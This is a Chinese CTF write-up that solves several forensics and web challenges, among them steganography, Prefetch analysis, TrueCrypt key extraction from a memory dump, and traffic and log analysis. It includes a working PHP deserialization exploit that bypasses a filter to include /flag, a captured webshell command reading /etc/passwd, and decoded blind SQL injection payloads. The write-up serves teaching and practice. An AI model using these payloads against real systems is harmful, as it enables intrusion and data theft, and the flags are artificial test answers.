解题思路
题目让我们获取加密文件中的原始数据,解密后提交第六行第二列数据,下载附件,发现里面有两个文件,其中一个是“.enc”结尾,那这里我们得先简单了解一下“.enc”结尾的是什么类型的文件。
简单来说“.enc”结尾的文件通常是经过加密的文件。具体来说,文件扩展名“.enc”并不代表某种特定的文件类型,而是一个通用的标识,表示文件内容已被加密,那题目要求我们的就显而易见了,那这里右键打开方式选择“记事本”打开分析即可。得到;
简单分析一下,很明显这里面都是经过“base64加密”过的,那这里题目让进行解码,所以相反的,我们直接随便找个在线“base64”解码即可,那话又说回来了,这里为什么我就可以确认是“base64编码”呢?
base特征;
编码长度:
每3个字节的二进制数据(24位)会被编码为4个ASCII字符(每个字符6位)。
编码后的长度通常是原始数据长度的1.33倍,即原数据长度的4/3。
字符集:
Base64编码使用以下64个字符组成的字符集:
大写字母:A-Z
小写字母:a-z
数字:0-9
两个符号:+ 和 /
在某些实现中,可能会替换符号,例如:+ 用 - 替换,/ 用 _ 替换(通常用于URL安全的Base64编码)。
填充字符:
如果输入数据的字节数不是3的倍数,编码后的结果会使用=符号进行填充,使其长度成为4的倍数。
一个等号表示输入长度除以3余1,两个等号表示余2。
简单来说Base64编码是一种用于将二进制数据转换为ASCII字符的编码方法。
在线base64解码,得到;
题目中所说的“第六行第二列数据”,那我们这里直接复制第六行的解码即可得到;
至此;
flag{767378199223105126}
解题思路
下载附件,解压得到一段以“.wav”结尾的音频,丢进“deepsound”、“silenteye”、“Audacity”均无果,这时候就要使用“010”打开分析一下,看看里面有没有什么关键信息,比如“flag”或者“zip”关键字样,再接着我们也可以丢进“kali”中使用“binwalk”来分析一下,看看里面有没有可以分离的文件;
“DeepSound”无果;
“silenteye”无果;
“Audacity”无果;
那就暂时没办法嘛,只能丢进“kali”中简单使用“binwalk”分析一下,发现里面确实存在一个残缺的“zip”,但是使用“binwalk -e”还不足以提取出来,那这里我们就尝试使用“foremost -i”(原理跟binwalk -e差不多只不过换了一种提取方式,感兴趣的师傅可以去了解一下他们两的区别,这里不在多强调)取中音频存在的隐藏文件。
使用命令;
binwalk -e 333.wav --run-as=root
得到
使用“foremost -i”提取成功,打开发现里面并不是我们之前使用“binwalk”分析出的“zip”,而是又一段".wav"结尾的音频,不过通过简单分析发现,这个音频并不是之前的音频,最简单的分析方法就是它们的大小不一样,所以这里,我们还是如图上面一样基本的常见“.wav”分析工具都过一遍,最后也是在“Audacity”中发现关键信息!
使用命令;
foremost -i 333.wav -o /root/桌面/123 -T
得到
打开分离的出的文件得到两个音频,都简单分析一下即可;
最后也是第二个音频“00006606.wav”中的“Audacity”的“频谱图”发现关键信息!
得到关键信息,pass:stego0626;
那这里也很明显,肯定是某某的密码,毕竟都“pass”那也就不言而喻了,那到这里其实就没有什么可以分析的了,因为基本能翻到的想到的也全都尝试了一遍但是都没有效果,但这里突然想到之前使用“binwalk”分析的时候,里面确实有一个残缺的“zip”,没有分离成功,然后才使用“foremost -i”才分离出的“pass”,那我们不妨使用“010”简单定位一下,看看这个”zip“是不是残缺的,因为有时候残缺的使用”foremost“或者”binwalk“是不能直接分离出的,必须手动分离;
使用“010”分析查找“zip”(zip的十六进制——504B0304)
大致简单看一下,发现了关键的信息“flag”,确实是我们心心念念的flag,但是好像这个zip缺少了主要的头部,也就是我们刚刚查找的“504B0304”这个开头,不认识没有关系,我们可以拿一张正常的“zip”开头做为对比;
正常的“zip”十六进制表示;
不难看出正常的“zip”确实是开头包含着“504B0304”等等,但是这里的我们并没有发现存在,那我们尝试直接补全保存看看难不难正常打开;
直接在“010”中“新建十六进制文件”,接着选中刚刚那一整段粘贴即可;
选中"zip"的主体内容,右键复制即可;
当然这里既然是缺少“zip”的头部,那我们新建好的同时,可以直接先输入“504B0304”,以防后面需要插入(当然也可以后插入内容,看各位师傅的习惯)
粘贴,并且保存格式选择“zip”即可,注意保存位置,以防自己找不着;
最后打开“zip”也确确实实需要密码,那我们输入前面提取出来的密码“pass:stego0626”即可打开;
得到的空白文件,我们可以选中右键“记事本”打开进行分析;
发现并不是我们需要的flag,不过没关系,我们可以选中使用“010”打开再进行分析一下得到;
发现这个“flag”空白文件的头部,是以“78 9c 4b cb”开头的,通常来说以十六进制 78 9c 4b cb 开头的文件通常是使用 zlib 压缩算法压缩过的文件。
所以我们可以直接添加一个“zlib”后缀,接着再使用“binwalk -e”进行分离,最后发现了flag,使用命令;
binwalk -e flag.zlib --run-as=root
成功分离
打开分离的文件进行分析,最后也是成功得到了flag;
至此;
flag{81633464866e622d275c309b22cb907b}
这里分离并不是唯一的方法,我们可以使用“CyberChef”进行“zlib”解码也是可以解出flag;
解题思路
题目巴拉巴拉一大堆不过没事我们找关键的,简单来说就是让我们从中找出使用次数最多的软件名称提交即可,那这里我们还是首先简单了解一下什么是“pf”文件吧;
PF文件(Prefetch File)是Windows操作系统中的一种缓存文件,用于加快应用程序的启动速度。每当你在Windows中运行某个应用程序时,系统会创建或更新与该应用程序相关联的PF文件。这个文件记录了该程序启动时所需的资源,包括加载的DLL、文件路径等信息。
主要特点:
存储位置:
PF文件通常存储在C:\Windows\Prefetch目录下,文件名格式为程序名-哈希值.pf。
加快启动速度:
PF文件通过记录程序启动所需的资源,可以帮助操作系统在下次启动该程序时更快速地加载这些资源,从而加快启动速度。
取证分析:
在数字取证中,PF文件可以用于分析用户行为,查看某个程序何时、如何被启动,帮助重建事件时间线。
清理影响:
清理PF文件可能会导致应用程序首次启动速度变慢,但对系统的整体性能影响不大。
总结:
PF文件是Windows系统用于优化程序启动性能的一种缓存文件,存储在特定目录下,并在程序启动时被创建或更新。在数字取证领域,这些文件也有助于分析用户行为。
那既然已经初步了解到了“pf”文件,我们直接下载附件,打开发现需要密码,哎,一开始还很奇怪,想着题目中也没有密码,主办方也没有给密码,那密码难道被主办方遗忘了?后面仔细观察发现这个下载的附件,也就是所谓的“zip”名称,既然是一个“base64”编码,那我们直接进行解码,也是成功得出了密码
需要密码;
在线base64解码
解码得到;
zip密码:IAMPASSWORD
最后也是解压成功了,那我们话又说回来了,想要分析“Prefetch”,到底使用什么工具分析呢?
这里给师傅们总结一下;
PECmd:
用途:PECmd 是一个命令行工具,用于解析和分析Windows Prefetch文件。它可以提取Prefetch文件中的详细信息,如程序的执行时间、路径、关联的DLL等,非常适合进行数字取证分析。
特点:支持批量处理、生成CSV报告,并能够解析多种Windows版本的Prefetch格式。
WinPrefetchView:
用途:WinPrefetchView 是一款简单的GUI工具,用于查看和分析Prefetch文件。它可以快速列出Prefetch目录中的文件,并显示每个文件的详细信息,如程序的启动次数、最后一次运行时间等。
特点:界面友好,操作简单,适合快速查看Prefetch文件内容。
这两个工具是分析Prefetch文件时最常用的,适合不同层次的需求,从简单的查看到深入的取证分析。
那这里我们就先使用“PECmd”来进行分析;
使用命令;
PECmd.exe -d D:\最新下载\PECmd\Prefetch --json output.txt
简单分析一下命令;
就是使用 PECmd 工具来解析位于 D:\最新下载\PECmd\Prefetch 目录下的 Prefetch 文件,并将输出结果以 JSON 格式保存到 output.txt 文件中。
得到;
最后也是在当前目录下,发现了我们创建的“output”文件;
选中右键选中“记事本”打开分析即可;
得到;
题目让我们查找软件使用次数最多的是,所以我们找的使用次数最多的即可,那这里“RunCount”英文翻译过来就是肯定就是执行了,所以我们只需“Ctrl+F”进行定位“RunCount”即可,一个一个慢慢看,因为它后面会跟着一个数字,那个就是软件执行的次数;
得到;
但是发现并不是执行次数最多的,后面陆陆续续发现了还有更多的38、71等等,也是慢慢查找,确定了最多“82”!
得到;
至此;
flag{SEARCHFILTERHOST.EXE}
拓展
接着上面我们使用了“PECmd”来进行分析“Prefetch”,那有点师傅就觉得,哎,这是不是有点麻烦了,又是解析,又是记事本打开查找的,是不是有点太麻烦了?哎!确实还真有比这更so easy的方法,就是我们接下来要说到的工具“WinPrefetchView”
这边已提取下载好,那我们这里直接打开工具“WinPrefetchView”
接着点击“选项”,选中“高级选项”,更改你的“Prefetch”位置即可,最后点击确认即可;
得到;
我们直接简单给运行次数排个序即可得知,这种方法相比于第一种来说,确实方便了不少,而且更为直观并且清晰的看见;
解题思路
题目巴拉巴拉一大堆其中有用的不多,我们来总结一下,简单来说就是让我们取出其中的客户的手机号最后提交进行一个小写MD5加密,那我们下载附件得到两个文件得到;
简单分析一下什么是“disk”文件以及“.raw”文件;
什么是“disk”文件?
“Disk” 文件通常指的是存储设备的镜像文件,它是对整个硬盘、分区或其他存储介质的精确复制。这种文件包含了磁盘上的所有数据,包括文件系统、分区表、引导记录以及所有存储在磁盘上的文件和文件夹。
用途:常用于备份、克隆磁盘或进行数据恢复。它们也被用于法务分析中,通过磁盘镜像来分析和重建磁盘上存储的数据。
格式:Disk 文件可能以不同的格式存在,如 .img、.iso、.vmdk(虚拟磁盘文件)等。
什么是“.raw”文件?
.raw 文件通常指的是原始磁盘镜像文件(Raw Disk Image)。这是一种未压缩的镜像格式,包含了磁盘上的所有原始数据,逐字节地精确复制了整个磁盘或分区。
特点:
未压缩:.raw 文件不包含任何压缩或修改的数据,是最原始的磁盘镜像格式。
通用性:由于其简单和通用的格式,.raw 文件可以被多种工具和操作系统识别和使用。
用途:在数字取证、数据恢复和虚拟化环境中广泛使用。分析 .raw 文件可以帮助恢复删除的文件、分析文件系统结构以及进行其他低级别的数据操作。
总结
Disk 文件:通常指磁盘镜像文件,是对整个存储设备的复制。
.raw 文件:是未压缩的磁盘镜像格式,包含磁盘上的原始数据,常用于取证分析和数据恢复。
那话又说回来了,我们知道了是什么文件,那我们怎么分析它们呢?
当然在分析磁盘镜像文件(“disk”文件或“.raw”文件)时,以下是常用的工具推荐:
Volatility 2.6:
用途:Volatility 是一个内存取证分析工具,虽然主要用于内存转储分析,但它也可以用于分析磁盘镜像中的数据。通过与磁盘镜像配合,Volatility 可以提取并分析与内存相关的数据,如进程、网络连接、注册表项等。
特点:功能强大,支持多种操作系统的内存分析,适合深度分析与取证工作。
Elcomsoft Forensic Disk Decryptor:
用途:Elcomsoft Forensic Disk Decryptor 专门用于解密加密的磁盘镜像文件。它支持 BitLocker、TrueCrypt、VeraCrypt 等多种加密系统,并能帮助取证人员从这些镜像文件中提取和分析数据。
特点:强大的解密能力,特别适合在遇到加密磁盘镜像时使用。
总的来说
Volatility 2.6:用于内存取证分析,也可结合磁盘镜像进行高级数据提取。
Elcomsoft Forensic Disk Decryptor:专门用于解密和分析加密的磁盘镜像文件。
所以这里我们先使用“vol2.6”简单先分析一下“.raw”文件,那我们还是老规矩相信之前看过我“取证”文章的师傅都明白了,第一步肯定先获取镜像的版本是多少,接着才能继续往下取证;
这里我的“vol2.6”在kali中,所以接下来的操作都是基于“kali“(详细”vol2.6请移步至——内存取证例题及Volatility2.6的使用)
话不多说直接上操作,先把文件移动到“vol2.6”同一目录下,右键当前目录打开终端即可开始操作;
获取镜像版本,我们使用命令;
./vol -f 123.raw imageinfo
得到
当前版本:Win7SP1x64
这里题目给了“disk”,所以我们直接使用“VeraCrypt”进行挂载即可,但是报错了,并没有如愿挂载成功,那我们就暂时换一个思路,参考一下别的师傅文章,发现可以使用“Elcomsoft Forensic Disk Decryptor”这个工具直接进行挂载也是可以,但是在此之前我们必须先把文件“turecrypt”这个进程的镜像“dump”下来;
那这里可能就有的师傅有疑问了,为什么挂载还需要先将“turecrypt”dump下来?
简单来说
获取解密密钥:
TrueCrypt 和其他加密软件在运行时,会将解密密钥或相关的加密信息加载到内存中。要解密加密的磁盘镜像,必须要有这些密钥信息。
Volatility 可以从内存转储文件(memory dump)中提取这些加密密钥或 TrueCrypt 配置文件等关键数据。
Elcomsoft Forensic Disk Decryptor 依赖密钥信息:
Elcomsoft Forensic Disk Decryptor 需要这些提取出的密钥来解密磁盘镜像。没有正确的密钥,解密过程将无法进行。
通过先使用 Volatility 提取出 TrueCrypt 的解密密钥,Elcomsoft Forensic Disk Decryptor 才能使用这些密钥解锁并读取加密的磁盘镜像。
所以;
1、使用 Volatility 2.6 从内存转储文件中提取 TrueCrypt 相关的密钥信息或配置文件。
2、使用 Elcomsoft Forensic Disk Decryptor,导入这些密钥信息,解密加密的磁盘镜像文件。
那既然要“dump”下“TrueCrypt”,我们肯定得先知道它的进程号是多少,当然所有需要dump下的,肯定都需要先知道进程号是多少·才行;
所以这里我们使用命令;
./vol -f 123.raw --profile=Win7SP1x64 pslist
得到;
眼睛有点花,进程是有点多的,不过没关系我们直接筛选一下即可;
使用命令;
./vol -f 123.raw --profile=Win7SP1x64 pslist |grep "TrueCrypt"
得到;
已知进程:17008,所以我们直接使用dump下即可;
使用命令;
./vol -f 123.raw --profile=Win7SP1x64 memdump -p 17008 -D ./
得到;
接着,打开我们已下载好的工具“Elcomsoft Forensic Disk Decryptor”;
接着选择——TrueCrypt(container)
接着按要求导入规定文件即可点击下一步;
也是成功的破解key,接着我们点击下一步准备挂载;
这时候可能会弹出一个让你保存的框框,关掉即可,这个不要紧;
这时候点击“mount”开始挂载,最重要的一步!!!!
这时候返回你的本机,查看“此电脑”,你会发现多了一个"G"盘出来,不要慌!这时候打开你就可以发现里面有一个表格,先复制出来!
挂载成功才会显示的“G”盘,先把里面的表格取出,接着返回“Elcomsoft Forensic Disk Decryptor”关闭挂载即可;
打开发现;
复制出来,因为打开会发现需要密码,也不要慌,这时候我们就使用另外一个工具“PasswareKitForensic”专门用于取证出来的文件爆破密码!还是蛮好用的,推荐大家可以熟悉一下;
也是爆破了几分钟就出来了;
得到密码:seabedquays
接着我们就打开表格输入密码即可得到题目所说的手机号;
但是这里还没有完,题目中所说需要我们把手机号进行小写的MD5加密,那这里方法不唯一,看大家喜欢用那种,当然如果是离线,那最好的办法就是把手机号复制到本机的一个空txt文本中,接着使用命令;
文件“123.txt”当前目录cmd唤出终端,使用命令;
certutil -hashfile .\123.txt md5
得到;
至此;
flag{6a9902ce8b8cc3cc24db1bafc19e0d65}
当然MD5加密方法不唯一哈,这里仅供参考!!!
解题思路
<?php
error_reporting(0);
class WOSHIMALOU {
public $Nihao;
public $Wohao;
public function __wakeup(){
if( ($this->Nihao != $this->Wohao) && (md5($this->Nihao) === md5($this->Wohao)) && (sha1($this->Nihao)=== sha1($this->Wohao)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->Nihao, $match)){
eval($this->Nihao);
} else {
die("Try!!!!!!!!!");
}
}
}
}
if (isset($_GET['getflag'])){
unserialize($_GET['getflag']);
} else {
highlight_file(__FILE__);
}
?>
原生类反序列化利用
(一开始还以为要爆破hash)
md5/sha1可以对一个类进行hash,会触发一个类的__toString方法,但是他给的类的里面没有这个方法,所以就要考虑用原生类,最常用的也就是Error类和Exception类
a对象和b对象的内容是不一样的,但是实际上他们执行出来的结果是一样,报错并没有显示出报错的行数,这样会导致hash值不一样
$a=new Error("a",1);
$b=new Error("a",2);
所以把 a b放在同一行,这样报错的行数也是相同的了,也就能取到同样的hash了
$a=new Error("a",1);$b=new Error("a",2);
因为在引入了Error类,所以会有其他的东西输出,不可能,所以,选择直接闭合?>,正则表达式过滤了小括号,直接用include "/flag"即可,虽然过滤了引号,但是可以取反绕过
EXP:
<?php
class WOSHIMALOU {
public $Nihao;
public $Wohao;
}
$str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!".urldecode("%FF")."]?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new WOSHIMALOU();
$c->Nihao= $a;
$c->Wohao= $b;
echo(urlencode(serialize($c)));
?>
简述:小明所创建的网站受到了攻击,现在需要对数据包进行分析,请你帮助他解答疑惑。
1、问题一:攻击者成功登陆后台的账号密码是?(如账号为admin,密码为admin,则提交admin:admin)
解题思路
题目巴拉巴拉一大堆,简单来说就是让我们提交黑客成功登录后台的账号密码,那我们这里下载附件,解压得到一个流量包,那这一整大题估计都是基于流量分析了,那我们打开“Wireshark”把下载得到的附件“fenxi1.pcapng”丢进去进行分析得到;
题目中所说的黑客登录成功的账号密码,那既然说了是登录,那在流量包中我们就可以尝试直接搜索关键字符串“Login”,当然这是方法之一;
得到;
其实这里就是黑客登录成功的后台账号密码,当然除这种方法之外,还有一种,我们可以直接锁定协议“http”,接着打开协议分级,可以看见前面几个都是满的,只要最后一个“HTML”开头,我们可以右键单独选中出来进行查看;
右键选中即可;
这时候就会发现只有三条记录,接着一条一条点开分析即可(最后也是在中间那一条记录发现),不管你是直接查看还是右键http追踪分析也好的,都是可以发现黑客成功登录的账号密码;
得到;
至此;
flag{elvis:1234}
2、问题二:攻击者使用的webshell文件名称以及执行了什么命令?(如文件名称为123.php命令为ls,则提交123.php:ls)
解题思路
题目让我们提交黑客使用webshell文件名称执行了什么命令,那这里其实还是可以和上题一样,既然说了webshell了,那多少肯定带一点关键字符窜“webshell”,所以这里我们也还是可以直接搜索关键字符串“webshell”,但是搜索之后并没有发现,但是如果做上题仔细的师傅的话可能会发现,上一题的第三条流量包就是带有“webshell”;
得到;
这名字还是“webshe11here”,这是生怕我们找不到啊!!,不过刚刚我直接搜索“webshell”的时候并没有发现,我说怎么回事呢,原来它把“webshell”替换成了“webshe11”,那这也破案了!这里往下翻一下就能发现黑客执行的命令,清晰可见!
得到;
那这里有的师傅可能就有疑问了,你怎么就确认这个是执行的黑客执行的命令呢?
那也没关系嘛,我们也是可以直接右键追踪http流来进行分析的
得到;
这里都是默认“URL”编码,所以找一个URL在线解码即可;
URL在线解码
得到;
也还是一样可以得到:cmd=system(‘cat …/…/…/…/etc/passwd’);
再根据题目的提交格式:123.php:ls
至此;
flag{webshe11here.php:cat ../../../../etc/passwd}
解题思路
题目问我们被黑客登录后台的用户对应邮箱是什么?那这里既然说了邮箱邮箱,那肯定就是“email”咯!所以我们也还是可以直接锁定关键“email”,不过这里锁定可不只是单纯像之前那样,我们可以直接使用http协议来过滤锁定;
使用命令;
http contains "email"
简而言之,这个语句通常用于过滤或查找包含“email”字样的 HTTP 数据,这也正是我们需要的;
得到;
这里不难看出包确实有很多个,但很多可能都是重复的,为什么这样说呢?可以从它的大小看出“686”、“781”、“782”当然不否认个别可能会有点偏差,但基本大差不差,所以这里我们从小的包往大的包逐个分析即可;
得到;
也是在包大小为“781”的里面发现了用户的邮箱,当然这里也看见了我是使用了快速定位查找关键词“elvis”,是的没错,可能观察仔细的师傅就发现了,其实第一题中,我们就已经得到了用户的用户名“elvis”,根据以往多年的邮箱经验多少都会邮箱的用户名,所以我们直接定位“elvis”即可;
至此;
总结一下;
其实这三题的流量分析都是基于http协议上的,如果实在是找不到文章中说的这些关键词什么的,大可慢慢翻http,如果观察仔细一些,完全是可以慢慢找出关键信息的,总体来说,这一整大题的流量分析还是很友好的,这个题目给个好评;
简述:某应用程序被攻击了,请分析日志回答以下问题:
1、问题一:请问黑客采取的攻击手段是?(如有英文字母请大写)答案请先base64编码后提交。例如:黑客采取的攻击手段是暴力破解,则先对“暴力破解”四个字进行base64编码,得到5pq05Yqb56C06Kej,则提交5pq05Yqb56C06Kej
解题思路
题目还是巴拉巴拉一大堆,我们找关键简单来说就是问我们黑客采取的攻击手段是什么,最后进行base64编码在提交即可,那我们下载附件,解压出来是一个“access.log”日志,我们打开进行分析;
得到;
这里特别明显,一打开就一股子“SQL注入”的味道,里面那么的“select”还有“table”还有“name”那些,以及我们找的“sqli”,这里就差没把答案直接写你脑门上了,不过这里值得一提的就是,“SQL注入”需要进行base64编码在提交(注意SQL注入的“SQL”是大写哈,别问为什么小写不行,因为提交的是错的);
base64在线编码
得到;
至此;
flag{U1FM5rOo5YWl}
2、问题二:请问黑客最终破解的数据库名、表名以及字段名是什么?请用下划线连接。例如:Database table_column
解题思路
题目让我们找到黑客破解的数据库,表名,数据库名以及字段是什么,这里我相信对于了解一些SQL注入的师傅那这真是如鱼得水呀,那我们话不多说我们也开始分析;
得到;
简单分析一下;
172.17.0.1 - - [30/Jun/2024:01:44:02 +0000] "GET /index.php?id=1%20and%20if(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name='flag'%20and%20table_schema='sqli'),5,1)%20=%20'+',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 506 "-" "python-requests/2.26.0"
首先;通过分析这条日志,我们可以从攻击的内容中推测出黑客正在执行一个 SQL 注入攻击,具体地说,这是一个时间盲注或者条件注入攻击。
GET 请求:
"GET /index.php?id=1%20and%20if(...)" 是一个 HTTP GET 请求,目标是 /index.php 页面,其中 id 参数包含了注入的 SQL 语句。
SQL 注入语句:
id=1%20and%20if(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name='flag'%20and%20table_schema='sqli'),5,1)%20=%20'+',1,(select%20table_name%20from%20information_schema.tables))
解析后,实际的 SQL 语句是:
1 and if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),5,1) = '+', 1, (select table_name from information_schema.tables))
注入目的:
数据库名:table_schema='sqli' 指定了数据库名为 sqli。
表名:table_name='flag' 指定了表名为 flag。
字段名:攻击者尝试从 information_schema.columns 表中提取表 flag 中的字段名。
SQL 注入的逻辑:
substr((select column_name from information_schema.columns ...),5,1) 尝试获取 column_name 字段的第5个字符。
然后检查这个字符是否等于 '+'。如果等于 '+',则返回 1(条件为真);否则执行 select table_name from information_schema.tables。
所以;
数据库名:sqli,因为注入条件中明确指定了 table_schema='sqli'。
表名:flag,因为注入条件中明确指定了 table_name='flag'。
那我们这里也是获得了数据库名以及表名,但是现在差一个字段名,没关系我们可以继续往下看,这里也是翻到了最底下,发现了关键;
得到;
解码之后简单分析一下;
1 and if(substr((select flag from sqli.flag),43,1) = '+', 1, (select table_name from information_schema.tables))
数据库名:sqli,注入语句中明确指出目标数据库为 sqli。
表名:flag,注入语句中指定了表名为 flag。
字段名:flag,攻击者正在尝试读取 flag 表中的 flag 字段。
SQL 注入的逻辑:
substr((select flag from sqli.flag),43,1) 试图获取 flag 字段的第43个字符。
然后检查该字符是否等于 '+'。如果等于 '+',条件为真,则返回 1;否则执行 select table_name from information_schema.tables。
攻击意图;
黑客正在通过 SQL 条件注入来逐字符猜测 flag 字段的内容。在这条请求中,黑客试图读取 flag 字段的第43个字符,并检查它是否等于 '+'。如果是,这条请求返回 1,表明条件成立;否则返回其他结果。
至此;
flag{sqli_flag_flag}
3、问题三:黑客最后得到的flag字符串是什么?
解题思路
题目让我们提交黑客最后获取的flag是什么,那这里我们就需要找到黑客注入成功的每一条记录,并把它全部列举出来,最后组合起来,当然也可以不需要那么多麻烦,也是可以使用工具,那下面我们来进行分析;
得到;
这里我筛选了黑客的关键句,什么是关键句呢,就是每当注入成功了就不会继续往下进行注入了,就比如;
从这里面可以看见这一行的“14”到某一节点就停止了,不继续往下了,是因为它匹配字符成功了,flag中就包含这个字符,同样的“15”也是如此,匹配成功了就不继续下去了,接着继续“16”依次往下慢慢推!那我们需要做的就是把这些记录一条一条复制出来,并且记下来,最后进行一个综合,也就是我上面综合成功出来的!
但是这题就有一些奇怪,按道理来说,都是按顺序爆破下去的,但是突然崩到了40,至于中间的那一段,有点怀疑被主办方掐掉了!
所以最后总结出来的也就是:flag{deddcd67-bcgd{db}+
后面经过许多师傅的讨论与确认删减,确认flag为;
flag{deddcd67-bcfd}
当然这里方法不唯一,可以使用工具,也可以使用脚本来进行统计,但是相对于我这个肯定是更复杂,我的意思是我的方法更复杂,其它的可能会简便很多,这里简单展示一下其它的方法;
“B神”的脚本工具统计;(具体步骤不得而知)
使用工具“CTF-NetA”统计出来的;(和手工统计的大差不差,不过也是需要删减,工具需要付费)
至此;
flag{deddcd67-bcfd}